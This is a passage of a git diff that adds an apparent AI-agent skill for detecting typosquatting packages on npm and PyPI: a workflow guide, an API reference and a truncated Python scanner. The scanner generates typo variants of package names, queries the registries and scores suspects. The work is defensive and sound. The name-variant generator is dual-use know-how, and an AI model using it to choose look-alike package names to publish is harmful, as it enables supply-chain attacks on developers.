Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md b/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md new file mode 100644 index 0000000..569b7d6 --- /dev/null +++ b/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md @@ -0,0 +1,176 @@ +--- +name: detecting-typosquatting-packages-in-npm-pypi +description: 'Detects typosquatting attacks in npm and PyPI package registries by + analyzing package name similarity using Levenshtein distance and other string metrics, + examining publish date heuristics to identify recently created packages mimicking + established ones, and flagging download count anomalies where suspicious packages + have disproportionately low usage compared to their legitimate targets. The analyst + queries the PyPI JSON API and npm registry API to gather package metadata for automated + comparison. Activates for requests involving package typosquatting detection, dependency + confusion analysis, malicious package identification, or software supply chain threat + hunting in package registries. + + ' +domain: cybersecurity +subdomain: supply-chain-security +tags: +- typosquatting +- npm +- pypi +- supply-chain +- package-security +- Levenshtein +- dependency-confusion +- malicious-packages +version: 1.0.0 +author: mukul975 +license: Apache-2.0 +nist_csf: +- GV.SC-01 +- GV.SC-03 +- GV.SC-06 +- GV.SC-07 +mitre_attack: +- T1195.001 +- T1195.002 +- T1608.001 +- T1554 +--- +# Detecting Typosquatting Packages in npm and PyPI + +## When to Use + +- Auditing project dependencies to identify packages whose names are suspiciously similar to popular libraries +- Proactively scanning package registries for newly published packages that may be typosquats of your organization's packages +- Investigating a suspected supply chain compromise where a developer installed a misspelled package name +- Building automated monitoring that alerts when new packages appear with names close to critical dependencies +- Assessing the risk profile of unfamiliar packages before adding them to a project's dependency tree + +**Do not use** as the sole determination of malicious intent; name similarity alone does not prove a package is malicious. Do not use for bulk automated takedown requests without manual review of flagged packages. Do not use against private registries without authorization. + +## Prerequisites + +- Python 3.9+ with `requests` and `python-Levenshtein` (or `rapidfuzz`) packages installed +- Network access to `https://pypi.org/pypi//json` (PyPI JSON API) and `https://registry.npmjs.org/` (npm registry API) +- A list of popular or critical packages to monitor (e.g., top 1000 PyPI packages, organization's dependency list) +- Understanding of common typosquatting patterns: character omission, transposition, insertion, substitution, and hyphen/underscore manipulation + +## Workflow + +### Step 1: Build the Target Package Watchlist + +Establish the set of legitimate packages to monitor for typosquats: + +- **Extract project dependencies**: Parse `requirements.txt`, `Pipfile.lock`, `package.json`, or `package-lock.json` to extract all direct and transitive dependency names +- **Include popular packages**: Supplement with high-value targets from the top 1000 PyPI downloads (available from `https://hugovk.github.io/top-pypi-packages/`) or top npm packages by download count +- **Add organization packages**: Include any packages published by your organization that attackers might target with typosquats to intercept internal installations +- **Normalize names**: PyPI treats hyphens, underscores, and periods as equivalent (PEP 503 normalization: `re.sub(r"[-_.]+", "-", name).lower()`). npm package names are case-sensitive but scoped packages use `@scope/name` format. Normalize before comparison. + +### Step 2: Generate Candidate Typosquat Names + +Produce potential typosquat variants for each target package: + +- **Character omission**: Remove each character one at a time (`requests` -> `rquests`, `requets`, `reqests`) +- **Character transposition**: Swap adjacent characters (`requests` -> `erquests`, `rqeuests`, `reques ts`) +- **Character substitution**: Replace characters with keyboard-adjacent keys using a QWERTY distance map (`requests` -> `rrquests`, `requesta`) +- **Character insertion**: Insert common characters at each position (`requests` -> `rrequests`, `reqquests`) +- **Separator manipulation**: For hyphenated names, try removing, doubling, or replacing separators (`my-package` -> `mypackage`, `my--package`, `my_package`) +- **Common prefix/suffix attacks**: Prepend or append common strings (`python-requests`, `requests-python`, `requests2`, `requests-lib`) + +### Step 3: Query Registry APIs for Candidate Packages + +Check whether generated candidate names actually exist in the registry: + +- **PyPI JSON API**: Send `GET https://pypi.org/pypi//json` for each candidate. A `200` response means the package exists; `404` means it does not. Extract from the response: `info.name`, `info.version`, `info.author`, `info.summary`, `info.home_page`, `info.project_urls`, and `releases` (keyed by version with `upload_time_iso_8601` timestamps). +- **npm registry API**: Send `GET https://registry.npmjs.org/` with `Accept: application/json`. Extract: `name`, `description`, `dist-tags.latest`, `time.created`, `time.modified`, `maintainers`, and `versions`. +- **Rate limiting**: PyPI has no published rate limits but respect reasonable request rates (1-2 requests/second). npm registry returns `429` when rate limited; implement exponential backoff. +- **Batch optimization**: For large candidate lists, parallelize requests with connection pooling (`requests.Session`) and limit concurrency to avoid triggering abuse protections. + +### Step 4: Analyze Package Metadata for Suspicion Signals + +Score each existing candidate package against multiple heuristic signals: + +- **Levenshtein distance**: Calculate the edit distance between the candidate name and the target. Packages with distance 1-2 from a popular package are high-priority suspects. Historical analysis shows 18 of 40 known typosquats had Levenshtein distance of 2 or less from their targets. +- **Publish date recency**: Compare the candidate's first publish date against the target's. A package created years after its near-namesake is more suspicious. Flag packages created within the last 90 days that are similar to packages published years ago. +- **Download count disparity**: Compare weekly downloads. Legitimate similarly-named packages typically have comparable or explainable download counts. A package with 50 downloads versus its near-namesake with 5 million downloads is suspicious. PyPI download stats are available via BigQuery (`pypistats.org/api/`); npm provides download counts at `https://api.npmjs.org/downloads/point/last-week/`. +- **Author and maintainer analysis**: Check if the candidate package author matches the legitimate package author. Different authors for near-identical names increase suspicion. +- **Description similarity**: Compare package descriptions. Typosquats frequently copy or closely paraphrase the target package description to appear legitimate. +- **Version count**: Legitimate packages typically have many versions over time. A package with only 1-2 versions and a name similar to a popular package is suspicious. +- **Repository URL analysis**: Check if the candidate links to the same repository as the target (likely legitimate fork/mirror) or has no repository URL (suspicious). + +### Step 5: Score, Rank, and Report Findings + +Combine signals into a composite risk score and generate an actionable report: + +- **Weighted scoring**: Assign weights to each signal. Example: Levenshtein distance 1 = 40 points, Levenshtein distance 2 = 25 points, created < 90 days ago = 15 points, download ratio < 0.001 = 15 points, different author = 10 points, single version = 5 points. Total score out of 100. +- **Threshold classification**: Score >= 70: HIGH risk (likely typosquat), 40-69: MEDIUM risk (requires manual review), < 40: LOW risk (likely legitimate) +- **Generate report**: For each flagged package, include the target it mimics, all signal values, the composite score, direct links to both packages on the registry, and a recommendation (block, investigate, or allow) +- **Actionable output**: Produce a blocklist of flagged package names that can be imported into package manager deny-lists, CI/CD policy engines, or artifact repository proxy rules + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Typosquatting** | Registering a package name that closely resembles a popular package, exploiting common typos to trick developers into installing malicious code | +| **Levenshtein Distance** | The minimum number of single-character edits (insertions, deletions, substitutions) required to transform one string into another; the primary metric for measuring name similarity | +| **Dependency Confusion** | A broader supply chain attack where attackers publish malicious packages to public registries with names matching private internal packages, exploiting package manager resolution order | +| **PEP 503 Normalization** | The Python packaging specification that treats hyphens, underscores, and periods as equivalent in package names, meaning `my-package`, `my_package`, and `my.package` resolve to the same package | +| **QWERTY Distance** | A keyboard-layout-aware distance metric measuring how far apart two keys are on a standard keyboard, used to detect substitutions from adjacent key mistyping | +| **Combosquatting** | A variant of typosquatting where attackers prepend or append common words to a package name (e.g., `requests-security`, `python-requests`) | +| **StarJacking** | An attack where a typosquat package links its repository URL to the legitimate package's GitHub repository to inflate apparent credibility | + +## Tools & Systems + +- **PyPI JSON API**: REST API at `https://pypi.org/pypi//json` returning package metadata including name, author, versions, upload timestamps, and project URLs +- **npm Registry API**: REST API at `https://registry.npmjs.org/` returning package metadata including maintainers, version history, creation timestamps, and distribution info +- **python-Levenshtein / rapidfuzz**: Python libraries for fast string distance computation, supporting Levenshtein, Damerau-Levenshtein, Jaro-Winkler, and other similarity metrics +- **pypistats.org API**: Provides download statistics for PyPI packages, enabling download count comparison between suspected typosquats and their targets +- **npm download counts API**: Endpoint at `https://api.npmjs.org/downloads/point//` providing download statistics for npm packages + +## Common Scenarios + +### Scenario: Auditing a Python Project for Typosquatted Dependencies + +**Context**: A security team discovers that a developer's workstation was compromised after installing a Python package. The incident response team needs to audit all project dependencies for potential typosquats and establish ongoing monitoring. + +**Approach**: +1. Parse `requirements.txt` and `Pipfile.lock` to extract all 87 direct and transitive dependencies +2. Generate typosquat candidates for each dependency using character omission, transposition, substitution, and separator manipulation, producing approximately 2,400 candidate names +3. Query the PyPI JSON API for each candidate, finding 34 that actually exist as published packages +4. Score each existing candidate: 3 packages score above 70 (HIGH risk) with Levenshtein distance 1, created within the last 60 days, single version, and fewer than 100 downloads +5. Manual review confirms 2 of the 3 are malicious typosquats containing obfuscated code that exfiltrates environment variables during installation +6. Block the malicious packages in the organization's artifact proxy, report to PyPI for takedown via `security@pypi.org`, and add all 87 dependencies to the ongoing monitoring watchlist +7. Implement the detection agent as a scheduled CI job that runs weekly and alerts on new HIGH-risk findings + +**Pitfalls**: +- Not normalizing PyPI package names per PEP 503 before comparison, causing missed matches between hyphenated and underscored variants +- Setting the Levenshtein distance threshold too low (only 1) and missing typosquats at distance 2 that use double substitutions +- Relying solely on name similarity without checking metadata signals, leading to high false positive rates on legitimately similar package names +- Not accounting for npm scoped packages (`@scope/name`) which have different naming rules than unscoped packages +- Querying the registries too aggressively and getting rate-limited or IP-blocked + +## Output Format + +``` +## Typosquatting Detection Report + +**Scan Date**: 2026-03-19 +**Registry**: PyPI +**Packages Monitored**: 87 +**Candidates Generated**: 2,412 +**Candidates Found in Registry**: 34 +**Flagged as Suspicious**: 5 + +### HIGH Risk (Score >= 70) + +| Suspect Package | Target Package | Levenshtein | Created | Downloads | Score | +|----------------|---------------|-------------|---------|-----------|-------| +| reqeusts | requests | 1 | 2026-02-28 | 43 | 92 | +| requsets | requests | 1 | 2026-03-01 | 12 | 88 | +| numpyy | numpy | 1 | 2026-01-15 | 67 | 78 | + +### Recommendation +- BLOCK: reqeusts, requsets, numpyy (add to artifact proxy deny-list) +- REPORT: Submit malware reports to security@pypi.org with package names and evidence +- MONITOR: Continue weekly scans for the full dependency watchlist +``` diff --git a/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md b/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md new file mode 100644 index 0000000..adb066c --- /dev/null +++ b/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md @@ -0,0 +1,110 @@ +# API Reference: Typosquatting Detection Agent for npm and PyPI + +## Overview + +Detects typosquatting attacks in npm and PyPI package registries by generating candidate typosquat names using string manipulation techniques, querying registry APIs to check which candidates exist, and scoring each against multiple heuristic signals including Levenshtein distance, publish date recency, download count disparity, author mismatch, and version count. Produces risk-scored reports for security review. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP requests to PyPI and npm registry APIs | +| python-Levenshtein | >=0.21 | Fast Levenshtein distance computation (optional; pure-Python fallback included) | +| rapidfuzz | >=3.0 | Alternative fast string distance library (optional) | + +## CLI Usage + +```bash +# Scan for typosquats of a single PyPI package +python agent.py scan requests --registry pypi + +# Scan for typosquats of an npm package +python agent.py scan express --registry npm + +# Scan with limited candidate count +python agent.py scan numpy --registry pypi --max-candidates 50 + +# Scan all dependencies in a requirements file +python agent.py scan-file requirements.txt --registry pypi + +# Scan all dependencies in a package.json +python agent.py scan-file package.json --registry npm + +# Check a specific candidate against a target +python agent.py check reqeusts requests --registry pypi + +# Generate typosquat candidates without querying registries +python agent.py generate requests + +# Custom output path +python agent.py scan flask --registry pypi --output flask_typosquat_report.json +``` + +## Arguments + +| Argument | Required | Description | +|----------|----------|-------------| +| `command` | Yes | Subcommand: `scan`, `scan-file`, `check`, `generate` | +| `package` | For scan/generate | Target package name to analyze | +| `file` | For scan-file | Path to requirements.txt, package.json, or similar | +| `candidate` | For check | Candidate package name to evaluate | +| `target` | For check | Legitimate target package name to compare against | +| `--registry` | No | Registry to scan: `pypi` or `npm` (default: `pypi`) | +| `--max-candidates` | No | Maximum number of candidates to check per package | +| `--output` | No | Output report path (default: `typosquat_report.json`) | + +## Key Functions + +### `generate_typosquat_candidates(name)` +Generates potential typosquat variants using character omission, transposition, duplication, QWERTY keyboard-adjacent substitution, separator manipulation, and common prefix/suffix combosquatting. Returns a sorted list of unique candidate strings. + +### `query_pypi_package(name, delay)` +Queries `GET https://pypi.org/pypi//json` and parses name, version, author, summary, version count, and first/latest upload timestamps from the response. Returns `None` for non-existent packages (HTTP 404). + +### `query_npm_package(name, delay)` +Queries `GET https://registry.npmjs.org/` and parses name, description, maintainers, version count, created/modified timestamps, license, and repository URL. Handles HTTP 429 rate limiting with exponential backoff. + +### `get_pypi_downloads(name)` +Queries `https://pypistats.org/api/packages//recent` to retrieve last-week download count for download disparity analysis. + +### `get_npm_downloads(name)` +Queries `https://api.npmjs.org/downloads/point/last-week/` to retrieve last-week download count. + +### `compute_suspicion_score(candidate_meta, target_meta, target_name, registry)` +Computes a weighted suspicion score (0-100) combining six signals: Levenshtein distance (up to 40pts), publish recency (up to 15pts), download ratio (up to 15pts), different author (10pts), low version count (5pts), and missing repository URL (5pts). Returns the score and a signal breakdown dictionary. + +### `classify_risk(score)` +Maps composite score to risk level: HIGH (>=70), MEDIUM (40-69), LOW (<40). + +### `scan_package(target_name, registry, max_candidates)` +End-to-end scan: fetches target metadata, generates candidates, queries registry for each, scores existing candidates, and returns ranked results sorted by descending score. + +### `scan_dependency_file(filepath, registry, max_candidates_per_pkg)` +Parses a dependency file (requirements.txt, package.json, Pipfile), extracts package names, and runs `scan_package` for each. Returns aggregated results with high/medium/low summary counts. + +### `normalize_pypi_name(name)` +Normalizes PyPI package names per PEP 503: replaces hyphens, underscores, and periods with a single hyphen and lowercases the result. + +## Registry API Endpoints Used + +| Endpoint | Method | Purpose | +|----------|--------|---------| +| `https://pypi.org/pypi//json` | GET | PyPI package metadata (info, releases, URLs) | +| `https://registry.npmjs.org/` | GET | npm package metadata (versions, time, maintainers) | +| `https://pypistats.org/api/packages//recent` | GET | PyPI download statistics | +| `https://api.npmjs.org/downloads/point/last-week/` | GET | npm download statistics | + +## Scoring Weights + +| Signal | Condition | Points | +|--------|-----------|--------| +| Levenshtein distance | Distance = 1 | 40 | +| Levenshtein distance | Distance = 2 | 25 | +| Levenshtein distance | Distance = 3 | 10 | +| Publish recency | Created <= 90 days ago | 15 | +| Publish recency | Created <= 180 days ago | 8 | +| Download ratio | candidate/target < 0.001 | 15 | +| Download ratio | candidate/target < 0.01 | 8 | +| Author mismatch | Different author/maintainer | 10 | +| Version count | <= 2 versions | 5 | +| Repository URL | Missing | 5 | diff --git a/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/scripts/agent.py b/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/scripts/agent.py new file mode 100644 index 0000000..f67fa50 --- /dev/null +++ b/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/scripts/agent.py @@ -0,0 +1,555 @@ +#!/usr/bin/env python3 +"""Typosquatting Detection Agent - Detects typosquatting packages in npm and PyPI +registries using Levenshtein distance analysis, publish date heuristics, and +download count anomalies.""" + +import json +import logging +import argparse +import re +import time +from datetime import datetime, timezone +from pathlib import Path + +import requests + +try: + from Levenshtein import distance as levenshtein_distance +except ImportError: + # Fallback pure-Python Levenshtein implementation + def levenshtein_distance(s1, s2): + if len(s1) < len(s2): + return levenshtein_distance(s2, s1) + if len(s2) == 0: + return len(s1) + prev_row = range(len(s2) + 1) + for i, c1 in enumerate(s1): + curr_row = [i + 1] + for j, c2 in enumerate(s2): + insertions = prev_row[j + 1] + 1 + deletions = curr_row[j] + 1 + substitutions = prev_row[j] + (c1 != c2) + curr_row.append(min(insertions, deletions, substitutions)) + prev_row = curr_row + return prev_row[-1] + + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +PYPI_API = "https://pypi.org/pypi/{}/json" +NPM_API = "https://registry.npmjs.org/{}" +NPM_DOWNLOADS_API = "https://api.npmjs.org/downloads/point/last-week/{}" +PYPISTATS_API = "https://pypistats.org/api/packages/{}/recent" + +SESSION = requests.Session() +SESSION.headers.update({"Accept": "application/json", "User-Agent": "typosquat-detector/1.0"}) + + +def normalize_pypi_name(name): + """Normalize a PyPI package name per PEP 503.""" + return re.sub(r"[-_.]+", "-", name).lower() + + +def generate_typosquat_candidates(name): + """Generate potential typosquat variants of a package name. + + Produces candidates via character omission, transposition, insertion, + substitution (keyboard-adjacent), and separator manipulation. + """ + candidates = set() + lower_name = name.lower() + + # Character omission: remove each character one at a time + for i in range(len(lower_name)): + candidate = lower_name[:i] + lower_name[i + 1:] + if candidate and candidate != lower_name: + candidates.add(candidate) + + # Character transposition: swap adjacent characters + for i in range(len(lower_name) - 1): + chars = list(lower_name) + chars[i], chars[i + 1] = chars[i + 1], chars[i] + candidate = "".join(chars) + if candidate != lower_name: + candidates.add(candidate) + + # Character duplication: double each character + for i in range(len(lower_name)): + candidate = lower_name[:i] + lower_name[i] + lower_name[i:] + if candidate != lower_name: + candidates.add(candidate) + + # Keyboard-adjacent substitution (QWERTY layout) + qwerty_neighbors = { + "q": "wa", "w": "qeas", "e": "wrds", "r": "etfs", "t": "ryg", + "y": "tuh", "u": "yij", "i": "uok", "o": "ipl", "p": "ol", + "a": "qwsz", "s": "wedxza", "d": "erfcxs", "f": "rtgvcd", + "g": "tyhbvf", "h": "yujng", "j": "uikmh", "k": "ioljm", + "l": "opk", "z": "asx", "x": "zsdc", "c": "xdfv", "v": "cfgb", + "b": "vghn", "n": "bhjm", "m": "njk", + } + for i, ch in enumerate(lower_name): + for neighbor in qwerty_neighbors.get(ch, ""): + candidate = lower_name[:i] + neighbor + lower_name[i + 1:] + if candidate != lower_name: + candidates.add(candidate) + + # Separator manipulation for hyphenated/underscored names + if "-" in lower_name or "_" in lower_name: + candidates.add(lower_name.replace("-", "").replace("_", "")) + candidates.add(lower_name.replace("-", "_")) + candidates.add(lower_name.replace("_", "-")) + candidates.add(lower_name.replace("-", "--")) + + # Common prefix/suffix combosquatting + for affix in ["python-", "py-", "-python", "-py", "-lib", "-sdk", "2", "3"]: + if affix.startswith("-"): + candidates.add(lower_name + affix) + else: + candidates.add(affix + lower_name) + + # Remove the original name if present + candidates.discard(lower_name) + candidates.discard(name) + + return sorted(candidates) + + +def query_pypi_package(name, delay=0.5): + """Query the PyPI JSON API for package metadata. + + Returns parsed metadata or None if the package does not exist. + """ + url = PYPI_API.format(name) + try: + time.sleep(delay) + resp = SESSION.get(url, timeout=15) + if resp.status_code == 404: + return None + resp.raise_for_status() + data = resp.json() + info = data.get("info", {}) + releases = data.get("releases", {}) + + # Find first and latest upload times + upload_times = [] + for version_files in releases.values(): + for f in version_files: + if f.get("upload_time_iso_8601"): + upload_times.append(f["upload_time_iso_8601"]) + + first_upload = min(upload_times) if upload_times else None + latest_upload = max(upload_times) if upload_times else None + + return { + "registry": "pypi", + "name": info.get("name", name), + "version": info.get("version"), + "author": info.get("author"), + "author_email": info.get("author_email"), + "summary": info.get("summary"), + "home_page": info.get("home_page"), + "project_url": info.get("project_url"), + "requires_python": info.get("requires_python"), + "license": info.get("license"), + "version_count": len(releases), + "first_upload": first_upload, + "latest_upload": latest_upload, + "exists": True, + } + except requests.RequestException as e: + logger.warning("PyPI query failed for %s: %s", name, e) + return None + + +def query_npm_package(name, delay=0.5): + """Query the npm registry API for package metadata. + + Returns parsed metadata or None if the package does not exist. + """ + url = NPM_API.format(name) + try: + time.sleep(delay) + resp = SESSION.get(url, timeout=15) + if resp.status_code == 404: + return None + if resp.status_code == 429: + logger.warning("npm rate limited, waiting 10 seconds") + time.sleep(10) + resp = SESSION.get(url, timeout=15) + resp.raise_for_status() + data = resp.json() + time_info = data.get("time", {}) + maintainers = data.get("maintainers", []) + + return { + "registry": "npm", + "name": data.get("name", name), + "description": data.get("description"), + "dist_tags_latest": data.get("dist-tags", {}).get("latest"), + "created": time_info.get("created"), + "modified": time_info.get("modified"), + "maintainers": [m.get("name") for m in maintainers], + "version_count": len(data.get("versions", {})), + "license": data.get("license"), + "homepage": data.get("homepage"), + "repository": data.get("repository", {}).get("url") if isinstance(data.get("repository"), dict) else data.get("repository"), + "exists": True, + } + except requests.RequestException as e: + logger.warning("npm query failed for %s: %s", name, e) + return None + + +def get_pypi_downloads(name): + """Get recent download stats for a PyPI package from pypistats.org.""" + url = PYPISTATS_API.format(name) + try: + resp = SESSION.get(url, timeout=10) + if resp.status_code != 200: + return None + data = resp.json().get("data", {}) + return data.get("last_week", 0) + except requests.RequestException: + return None + + +def get_npm_downloads(name): + """Get last-week download count for an npm package.""" + url = NPM_DOWNLOADS_API.format(name) + try: + resp = SESSION.get(url, timeout=10) + if resp.status_code != 200: + return None + return resp.json().get("downloads", 0) + except requests.RequestException: + return None + + +def compute_suspicion_score(candidate_meta, target_meta, target_name, registry): + """Compute a weighted suspicion score for a candidate typosquat package. + + Signals: + - Levenshtein distance (1 = 40pts, 2 = 25pts, 3 = 10pts) + - Publish recency: created within 90 days = 15pts + - Download ratio: candidate/target < 0.001 = 15pts + - Different author/maintainer = 10pts + - Low version count (<=2) = 5pts + - No repository URL = 5pts + """ + score = 0 + signals = {} + candidate_name = candidate_meta.get("name", "") + + # Levenshtein distance + if registry == "pypi": + dist = levenshtein_distance( + normalize_pypi_name(candidate_name), + normalize_pypi_name(target_name), + ) + else: + dist = levenshtein_distance(candidate_name.lower(), target_name.lower()) + + signals["levenshtein_distance"] = dist + if dist == 1: + score += 40 + elif dist == 2: + score += 25 + elif dist == 3: + score += 10 + + # Publish recency + now = datetime.now(timezone.utc) + first_publish = candidate_meta.get("first_upload") or candidate_meta.get("created") + if first_publish: + try: + if isinstance(first_publish, str): + first_dt = datetime.fromisoformat(first_publish.replace("Z", "+00:00")) + else: + first_dt = first_publish + days_old = (now - first_dt).days + signals["days_since_first_publish"] = days_old + if days_old <= 90: + score += 15 + elif days_old <= 180: + score += 8 + except (ValueError, TypeError): + pass + + # Download disparity + if registry == "pypi": + candidate_dl = get_pypi_downloads(candidate_name) + target_dl = get_pypi_downloads(target_name) + else: + candidate_dl = get_npm_downloads(candidate_name) + target_dl = get_npm_downloads(target_name) + + signals["candidate_downloads_weekly"] = candidate_dl + signals["target_downloads_weekly"] = target_dl + if candidate_dl is not None and target_dl and target_dl > 0: + ratio = candidate_dl / target_dl + signals["download_ratio"] = round(ratio, 6) + if ratio < 0.001: + score += 15 + elif ratio < 0.01: + score += 8 + + # Author comparison + if registry == "pypi": + candidate_author = (candidate_meta.get("author") or "").lower().strip() + target_author = (target_meta.get("author") or "").lower().strip() + else: + candidate_author = set(m.lower() for m in (candidate_meta.get("maintainers") or [])) + target_author = set(m.lower() for m in (target_meta.get("maintainers") or [])) + + if candidate_author and target_author and candidate_author != target_author: + score += 10 + signals["different_author"] = True + else: + signals["different_author"] = False + + # Version count + version_count = candidate_meta.get("version_count", 0) + signals["version_count"] = version_count + if version_count <= 2: + score += 5 + + # Repository URL presence + repo = candidate_meta.get("home_page") or candidate_meta.get("homepage") or candidate_meta.get("repository") + signals["has_repository"] = bool(repo) + if not repo: + score += 5 + + signals["total_score"] = score + return score, signals + + +def classify_risk(score): + """Classify risk level based on composite score.""" + if score >= 70: + return "HIGH" + elif score >= 40: + return "MEDIUM" + else: + return "LOW" + + +def scan_package(target_name, registry="pypi", max_candidates=None): + """Scan for typosquat candidates of a target package. + + Generates candidates, checks which exist in the registry, scores them, + and returns ranked results. + """ + logger.info("Scanning for typosquats of '%s' on %s", target_name, registry) + + # Fetch target package metadata + if registry == "pypi": + target_meta = query_pypi_package(target_name, delay=0.2) + else: + target_meta = query_npm_package(target_name, delay=0.2) + + if not target_meta: + logger.warning("Target package '%s' not found on %s", target_name, registry) + return {"target": target_name, "registry": registry, "error": "Target package not found"} + + # Generate candidates + candidates = generate_typosquat_candidates(target_name) + if max_candidates: + candidates = candidates[:max_candidates] + logger.info("Generated %d typosquat candidates for '%s'", len(candidates), target_name) + + # Query registry for each candidate + results = [] + for i, candidate in enumerate(candidates): + if registry == "pypi": + meta = query_pypi_package(candidate, delay=0.3) + else: + meta = query_npm_package(candidate, delay=0.3) + + if meta and meta.get("exists"): + score, signals = compute_suspicion_score( + meta, target_meta, target_name, registry + ) + risk = classify_risk(score) + results.append({ + "candidate": candidate, + "target": target_name, + "registry": registry, + "score": score, + "risk": risk, + "signals": signals, 